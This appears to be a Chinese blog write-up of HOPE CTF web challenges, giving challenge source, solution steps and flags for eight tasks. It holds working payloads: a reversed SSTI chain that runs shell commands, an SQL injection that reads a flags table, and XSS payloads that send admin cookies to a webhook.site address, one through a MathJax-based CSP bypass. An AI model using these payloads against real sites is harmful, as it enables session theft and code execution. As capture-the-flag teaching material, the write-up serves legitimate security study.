一共十道题,只做出来8道,剩下两道完全找不到漏洞点,等大佬wp @_@ 。这比赛的题目顺序有点迷,并没有按照难度排列,做的时候有点过山车的感觉,不过总体体验还是不错的。
secure-page 直接看源码,只需要把cookie中的admin设为true即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 @server.get('/') async def root(request): admin = request.cookies.get('admin', '') headers = {} if admin == '': headers['set-cookie'] = 'admin=false' if admin == 'true': return (200, ''' <title>Secure Page</title> <link rel="stylesheet" href="/style.css" /> <div class="container"> <h1>Secure Page</h1> %s </div> ''' % os.environ.get('FLAG', 'flag is missing!'), headers) else: return (200, ''' <title>Secure Page</title> <link rel="stylesheet" href="/style.css" /> <div class="container"> <h1>Secure Page</h1> Sorry, you must be the admin to view this content! </div> ''', headers)
hope{signatures_signatures_signatures}
flag-viewer 从源码可以看到只需要访问/flag目录并把参数user设为admin即可。
1 2 3 4 5 6 7 8 9 @server.post('/flag') async def flag(request): data = await request.post() user = data.get(' ', '') if user != 'admin': return (302, '/?message=Only the "admin" user can see the flag!') return (302, f'/?message={os.environ.get("FLAG", "flag missing!")}')
hope{oops_client_side_validation_again}
point 源码给出来,用post发送json数据,只要恢复得到的结构体成员值为that_point即可,但是不能够含有what_point字段,因为json.Unmarshal不区分json字段的大小写,因此可以把键名what_point写成What_point来绕过检查。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 type importantStuff struct { Whatpoint string `json:"what_point"` } func main () { flag, err := os.ReadFile("flag.txt" ) if err != nil { panic (err) } http.HandleFunc("/" , func (w http.ResponseWriter, r *http.Request) { switch r.Method { case http.MethodGet: fmt.Fprint(w, "Hello, world" ) return case http.MethodPost: body, err := io.ReadAll(r.Body) fmt.Printf("%s" , body) if err != nil { fmt.Fprintf(w, "1 Something went wrong" ) return } if strings.Contains(string (body), "what_point" ) || strings.Contains(string (body), "\\" ) { fmt.Fprintf(w, "2 Something went wrong" ) return } var whatpoint importantStuff err = json.Unmarshal(body, &whatpoint) if err != nil { fmt.Fprintf(w, "3 Something went wrong" ) return } if whatpoint.Whatpoint == "that_point" { fmt.Fprintf(w, "Congrats! Here is the flag: %s" , flag) return } else { fmt.Fprintf(w, "4 Something went wrong" ) return } default : fmt.Fprint(w, "Method not allowed" ) return } }) log.Fatal(http.ListenAndServe(":1234" , nil )) }
hope{cA5e_anD_P0iNt_Ar3_1mp0rT4nT}
reverser 这是一道ssti注入题,需要注意的是payload要取反,因为是python3所以需要找一下FileLoader,然后按照常规套路利用builtins中的函数调用系统命令读取flag即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 @app.post('/') def reverse(): result = ''' <link rel="stylesheet" href="style.css" /> <div class="container"> <h1>Text Reverser</h1> Reverse any text... now as a web service! <form method="POST"> <input type="text" name="text"> <input type="submit" value="Reverse"> </form> <p>Output: %s</p> </div> ''' output = request.form.get('text', '')[::-1] return render_template_string(result % output)
payload如下:
1 }})(daer.)'sl'(nepop.)'so'(]'__tropmi__'[]'__snitliub__'[__slabolg__.__tini__.]49[)(__sessalcbus__.__esab__.)'__ssal'+'c__'(__etubirttateg__.][{{
1 }})(daer.)'*f%20tac'(nepop.)'so'(]'__tropmi__'[]'__snitliub__'[__slabolg__.__tini__.]49[)(__sessalcbus__.__esab__.)'__ssal'+'c__'(__etubirttateg__.][{{
hope{cant_misuse_templates}
oeps 一开始看到execute的时候觉得完了,滴水不漏,定睛一看才发现原来里面用了单引号把占位符包起来了,那就起不到防止sql注入的效果,可以直接注。找了一圈发现基本上都有输入检查,只允许字母和数字输入,唯独一个地方没有检查那就是/submit目录下的submission参数,这里可以直接进行注入。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 @server.post('/submit' ) async def submit (request ): token = request.cookies.get('token' , '' ) logged_in = ( all (c in ALLOWED_CHARACTERS for c in token) and len (connection.execute(''' select * from users where token = '%s'; ''' % token).fetchall()) == 1 ) if not logged_in: return (302 , '/?error=Authentication error.' ) data = await request.post() submission = data.get('submission' , '' ) if submission == '' : return (302 , '/?error=Submission cannot be empty.' ) stripped = submission.replace(' ' , '' ) if stripped != stripped[::-1 ]: return (302 , '/?error=Submission must be a palindrome.' ) connection.execute(''' insert into pending (user, sentence) values ('%s', '%s'); ''' % ( token, submission )) return (302 , '/' )
与往常的不同,不再是select,而是insert语句。这里插入的是pending数据表,也就是我们访问根目录可以看到的数据表。因此可以将flag查询出来插入pending表中,再访问根目录查看。需要注意的是在python的sqlite中可以使用||进行字符拼接,这里将前面的字符闭合起来之后再将flag拼接上去即可:
1 flag:'||(select flag from flags));----;))sgalf morf galf tceles(||':galf
访问根目录查看flag:
hope{ecid_gnivlovni_semordnilap_fo_kniht_ton_dluoc}
inspect-me 这道题挺恶心的,F12开启开发者工具之后就会把表单后面的内容替换掉,然后不断循环刷新控制台。一开始只能获取到表单前面那部分的代码,发现他会检测窗口大小等一系列操作来判断是否开启开发者工具,所以一开始我的思路是用chromedriver来控制开启页面,然后用page_source来获取源码,但是发现不行因为chromedriver本来就是调用了开发者工具来实现的,会被检查出来。
!
经过仔细研究发现页面内容替换需要条件触发,而检测这些触发条件的是js代码,他们的作用范围只在本标签,那么标签的上一级他就管不到了。所以可以直接选中浏览器地址栏url然后按ctrl+u直接看源码。以下是表单后面的源码,实现的是对flag进行凯撒加密,偏移量为13。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <script> (() => { const scripts = document.querySelectorAll('script'); scripts.forEach((script) => script.remove()); const chr = (c) => c.charCodeAt(0); const form = document.querySelector('form'); form.addEventListener('submit', (event) => { event.preventDefault(); const input = document.querySelector('input[type="text"]'); const output = []; for (const char of input.value.split('').map(chr)) { if (chr('a') <= char && char <= chr('z')) { output.push(chr('a') + ((char - chr('a') + 13) % 26)); } else if (chr('A') <= char && char <= chr('Z')) { output.push(chr('A') + ((char - chr('A') + 13) % 26)); } else { output.push(char); } } const target = 'ubcr{pyvrag_fvqr_pyvpur}'; if (output.map((c) => String.fromCharCode(c)).join('') === target) { document.querySelector('.content').textContent = 'Correct!'; } else { input.removeAttribute('style'); input.offsetWidth; input.style.animation = 'shake 0.25s'; } }); })(); </script>
hope{client_side_cliche}
pastebin 服务端提供/new来给我们创建一个页面,随后会给出地址供访问,题目大概的思路就是利用/new生成带有xss代码的页面,然后把这个页面提交给admin-bot访问,admin-bot访问我们生成的页面时利用xss代码将cookie外带即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 app.post ('/new' , (req, res ) => { const paste = (req.body .paste ?? '' ).toString (); if (paste.length == 0 ) { return res.redirect (`/flash?message=Paste cannot be empty!` ); } if (paste.search (/<.*>/ ) !== -1 ) { return res.redirect (`/flash?message=Illegal characters in paste!` ); } const id = add (paste); res.redirect (`/view/${id} ` ); }); app.get ('/view/:id' , (req, res ) => { const id = req.params .id ; res.type ('html' ); res.end (` <link rel="stylesheet" href="/style.css" /> <div class="container"> <h1>Paste</h1> ${pastes.get(id) ?? 'Paste does not exist!' } </div> ` );});
从上面的源码可以看到,写入的内容是会有检查的,不能够含有<>
,这里需要xss绕过。我们可以使用iframe的半尖括号来进行绕过,然后在src中写入js代码实现cookie窃取,payload如下:
1 <iframe src = javascript:location.href ="https://webhook.site/99f07c43-3dd0-402e-afc8-a654a2dc6983/?flag=" +document.cookie <
再将如下链接提交给Admin Bot访问即可:
1 https://pastebin.mc.ax/view/54c293d08e3c57c75ddee9af984431c1
提交之后就可以在我们实现准备好的webhook这里查看flag。
hope{the_pastebin_was_irrelvant}
mk 这道题也是xss,不过他的限制比较严格,内容安全策略(CSP)如下,除了谷歌的验证码域名外,其他的都需要遵循同源策略,而且script不允许内联代码运行,这里需要绕过CSP。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 fastify.addHook ('preHandler' , async (req, res) => { res.header ('Content-Security-Policy' , [ "default-src 'self'" , "base-uri 'self'" , "font-src 'self'" , "frame-ancestors 'none'" , "img-src 'none'" , "object-src 'none'" , "script-src 'self' 'unsafe-eval' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/" , "script-src-attr 'none'" , "style-src 'self' 'unsafe-inline'" , "frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/" ].join (';' )); res.header ('X-Content-Type-Options' , 'nosniff' ); });
可以注意到源码给出了Mathjax这个插件,这其实是一个数学公式的渲染插件,之前确实爆过xss攻击的漏洞,可以直接执行eval函数来进行RCE,但是这里给出的版本是2.7.9并不包含这个漏洞,这里就不能用。但是插件Mathjax允许通过<script type="text/x-mathjax-config"><script/>
来进行参数设置,同时标签内除了根据它规定的格式设置参数之外还可以运行JavaScript代码,因此就可以利用它来绕过CSP执行JavaScript代码,从而走私cookie。
构造的页面payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta http-equiv ="X-UA-Compatible" content ="IE=edge" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > Document</title > </head > <body > <script type ="text/x-mathjax-config" > location.href =`https://webhook.site/99f07c43-3dd0-402e-afc8-a654a2dc6983/?${document .cookie} ` ; </script > <script type ="text/javascript" src ="/MathJax/MathJax.js" > </script > </body > </html >
将payload与其https://mk.mc.ax/render?content= 拼接后url编码,再发送给admin-bot访问,admin-bot加载页面后就会运行准备好的跳转代码,将cookie作为参数发送到事先准备好的webhook地址。
1 https%3A%2F%2Fmk.mc.ax%2Frender%3Fcontent%3D%3C!DOCTYPE%20html%3E%20%3Chtml%20lang%3D%22en%22%3E%20%3Chead%3E%20%20%20%20%20%3Cmeta%20charset%3D%22UTF-8%22%3E%20%20%20%20%20%3Cmeta%20http-equiv%3D%22X-UA-Compatible%22%20content%3D%22IE%3Dedge%22%3E%20%20%20%20%20%3Cmeta%20name%3D%22viewport%22%20content%3D%22width%3Ddevice-width%2C%20initial-scale%3D1.0%22%3E%20%20%20%20%20%3Ctitle%3EDocument%3C%2Ftitle%3E%20%3C%2Fhead%3E%20%3Cbody%3E%20%20%20%20%20%3Cscript%20type%3D%22text%2Fx-mathjax-config%22%3E%20%20%20%20%20%20%20%20%20location.href%3D%60https%3A%2F%2Fwebhook.site%2F99f07c43-3dd0-402e-afc8-a654a2dc6983%2F%3F%24%7Bdocument.cookie%7D%60%3B%20%20%20%20%20%3C%2Fscript%3E%20%20%20%20%20%3Cscript%20type%3D%22text%2Fjavascript%22%20src%3D%22%2FMathJax%2FMathJax.js%22%3E%20%20%20%20%20%3C%2Fscript%3E%20%3C%2Fbody%3E%20%3C%2Fhtml%3E
然后我们就可以在webhook这里看到flag了。
hope{make_sure_to_check_your_dependencies}
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 hututu1024@126.com